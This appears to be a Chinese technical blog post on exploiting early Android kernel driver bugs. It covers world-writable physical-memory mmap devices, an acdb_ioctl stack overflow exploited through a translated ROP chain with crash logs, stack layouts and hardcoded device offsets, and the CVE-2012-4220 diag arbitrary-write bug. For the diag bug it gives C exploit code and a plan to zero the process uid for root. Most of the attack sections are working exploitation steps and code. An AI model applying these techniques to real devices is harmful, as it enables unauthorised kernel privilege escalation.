早期安卓内核漏洞经常是：某个设备被设置成了755/666之类的，造成全局可读写，然后将这些设备mmap出来，就可以操作物理内存了

比如这样的设备有:

/dev/exynos-mem CVE-2012-6422 http://forum.xda-developers.com/showthread.php?p=35469999

/dev/dhcp CVE不详

/dev/msm_camera/config0 （CVE-2013-2595）的 “MSM_CAM_IOCTL_SET_MEM_MAP_INFO” 设置，mmap物理内存

/dev/graphics/fb0 的 FBIOGET_FSCREENINFO获取信息，然后mmap物理内存

安卓某些驱动确实需要提供物理内存映射的接口，比如 /dev/exynos-mem，但是应该仅仅提供给内核使用，应用层能使用的话就坑爹了

又有一些是根本没有必要暴露这种接口，却暴露了。 比如 /dev/msm_camera/config0 ，在 https://www.codeaurora.org/projects/security-advisories/uncontrolled-memory-mapping-camera-driver-cve-2013-2595 的patch中，直接将 msm_mmap_config给注释掉了。可能是没什么用，写程序时照模板抄的？

这块代码可以在9008中招到

先看补丁：
https://www.codeaurora.org/cgit/quic/la//kernel/msm/commit/?id=32682d16fb46a60a7952c4d9e0653602ff674e4b

if ((size <= 0) || (size > sizeof(data))) {
    pr_err("%s: Invalid size sent to driver: %d\n",
    __func__, size);
    result = -EFAULT;
    goto done;
}

补丁对 ioctl 传入的data大小做了校验，如果超出MAX_IOCTL_DATA个u32的数据，直接返回失败。在我这，这个值是30*32

若不校验这个size大小，攻击者可以构造任意大小的数据，造成栈溢出，控制程序指针

if (copy_from_user(&size, (void *) arg, sizeof(size))) {

     result = -EFAULT;
     goto done;
}

if ((size <= 0) || (size > sizeof(data))) {
     pr_err("%s: Invalid size sent to driver: %d\n",__func__, size);
     result = -EFAULT;
     goto done;
}

if (copy_from_user(data, (void *)(arg + sizeof(size)), size)) { //栈溢出

     pr_err("%s: fail to copy table size %d\n", __func__, size);
     result = -EFAULT;
     goto done;
}

利用方法：

https://github.com/android-rooting-tools/android_run_root_shell

由于使用ROP，所以属于一个适配有点麻烦的漏洞了

这篇文章讲了利用方法，是一段rop https://gist.github.com/fi01/5857693

由于是日文的，简单翻译下

===================================================================

• 原来的流程
  do_vfs_ioctl调用acdb_ioctl后返回

  do_vfs_ioctl:
  STMPW [SP], { R4-R9, LR }
  ...
  BL acdb_ioctl ... ADD SP, SP, #$44 // (2)
  LDMUW [SP], { R4-R9, PC } // (1)

• 我们替换之后的流程

触发任意地址写的漏洞，以获得root
然后调整好正确的栈位置，最后返回（1）的流程

• 任意地址写漏洞的触发
  acdb_ioctl其中一段，可以获得控制PC的机会。修改寄存器的位置是 (3)，这里可以操作R4-PC的所有数值了。然后把R9的内容写入R5，触发成功

  acdb_ioctl: ... ADD SP, SP, #$84
  LDMUW [SP], { R4-R11, PC } // (3)

首先控制PC跳到这里（pc1）

STR R5, [R9] // (4)
LDMUW [SP], { R4-R10, PC } // (5)

• 栈位置的修正
  执行(5)之后，为了堆栈平衡，栈要填充 4*8 字节，然后设置下一跳的PC。（pc2）
  （6）这里也要处理一下平衡堆栈，最后返回（2）那里去

  ADD SP, SP, #$24 // (6)
  LDMUW [SP], { R4-R9, PC }

• 栈地址的替换
  实际栈的位置和p->data的位置需要硬编码适配。
  p->data[...]的値需要初始化的时候设置。
  硬编码的地址请在pc上通过崩溃的日志分析。
  p->data[i]=i 这样来试探(注：给数据标上相对偏移，方便通过栈来定位)，这个例子中，PC在&p->data[0x9c]的位置。

例:

ACDB=> ACDB ioctl not found!
Unable to handle kernel paging request at virtual address 9f9e9d9c
pgd = df56c000
[9f9e9d9c] *pgd=00000000
Internal error: Oops: 80000005 [#1] PREEMPT SMP
Modules linked in:
CPU: 1 Tainted: G W (3.0.8+1.0.21100-02148-g79e6d0e #1)
PC is at 0x9f9e9d9c
LR is at acdb_ioctl+0x740/0x860

• 设置好堆栈布局
  要確認PC原始的数值，以便正确返回

  ((unsigned int)&p->data[0x80]) = value; //r5: PC - 47
  ((unsigned int)&p->data[0x90]) = address; //r9: PC - 43
  ((unsigned int)&p->data[0x9c]) = (4)的地址; //pc: PC
  ((unsigned int)&p->data[0xbc]) = (6)地址; //pc: PC + 4*8

• 为了在do_vfs_ioctl、acdb_ioctl这两个函数执行完后内核无异常，寄存器也需要适配。
  (6)那个地方stack加的数值也可能也要硬编码适配

注：本文硬编码对应

DEVICE_SO05D_7_0_D_1_137,       { 0x80, 0x90, { 0x9c, 0xc03265d8 }, { 0xbc, 0xc0524d84 } }

这块代码可以在9300中找到

漏洞信息：

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-4220

https://www.codeaurora.org/projects/security-advisories/multiple-issues-diagkgsl-system-call-handling-cve-2012-4220-cve-2012

先看补丁：
https://www.codeaurora.org/cgit/quic/la//kernel/msm/commit/?id=32682d16fb46a60a7952c4d9e0653602ff674e4b

问题出在diag再处理DIAG_IOCTL_GET_DELAYED_RSP_ID这个ioctl时，没有使用copy_to_user

于是uint_16的全局变量 delayed_rsp_id写入用户任意指定的地址，每次可写入0x2~0xffff的两个字节，反复调用即可造成任意地址写的内核漏洞。

} else if (iocmd == DIAG_IOCTL_GET_DELAYED_RSP_ID) {
- struct diagpkt_delay_params *delay_params =
- (struct diagpkt_delay_params *) ioarg;
-
- if ((delay_params->rsp_ptr) &&
- (delay_params->size == sizeof(delayed_rsp_id)) &&
- (delay_params->num_bytes_ptr)) {
- *((uint16_t *)delay_params->rsp_ptr) =
- DIAGPKT_NEXT_DELAYED_RSP_ID(delayed_rsp_id);
- *(delay_params->num_bytes_ptr) = sizeof(delayed_rsp_id);

success = 0;
}

如何利用：

这个漏洞里面，要将delay_params->rsp_ptr 设置为希望写入的地址，而希望写入的值利用delayed_rsp_id的值进行

如何控制delayed_rsp_id ：

上文中DIAGPKT_NEXT_DELAYED_RSP_ID这个宏，每调用一次，delayed_rsp_id便会+1 所以调用（value_we_want - origin_delayed_rsp_id）次，就能将delayed_rsp_id设置为我们想要的值

如果我们想要的值比 origin_delayed_rsp_id要大，那么可以利用如下这一句：

*(delay_params->num_bytes_ptr) = sizeof(delayed_rsp_id);

如果这样写 *(delayed_rsp_id_addr) = sizeof(delayed_rsp_id); 就可以将地址重置为0x2

如何提权：

因为只有能写，不能读。那么丑陋一点的话，可以DKOM，给tusk_struct里面自己的uid pid都填0

static bool
inject_value(struct diag_values *data,
             int fd, void *delayed_rsp_id_address)
{
  uint16_t delayed_rsp_id_value = 0;
  int i, loop_count, ret;

    //send ioctl to get origin delayed_rsp_id
    //by DIAG_IOCTL_GET_DELAYED_RSP_ID
    //we save it
  ret = get_current_delayed_rsp_id(fd);
  if (ret < 0) {
    return false;
  }
  delayed_rsp_id_value = ret;
  data->original_value = delayed_rsp_id_value;

    //current value in kernel is too big,reset it 
    //write delayed_rsp_id_size to *delayed_rsp_id,
    //id has been set to 2 here
    //
    //sorry to say:delayed_rsp_id_address is a hardcode
  if (delayed_rsp_id_value > data->value &&
    reset_delayed_rsp_id(fd, delayed_rsp_id_address) < 0) {
    return false;
  }
  //let delayed_rsp_id add to the data->value we want,and set to 
  loop_count = (data->value - delayed_rsp_id_value) & 0xffff;

  for (i = 0; i < loop_count; i++) {
    int unused;
    if (send_delay_params(fd, (void *)data->address, &unused) < 0) {
      return false;
    }
  }
  return true;
}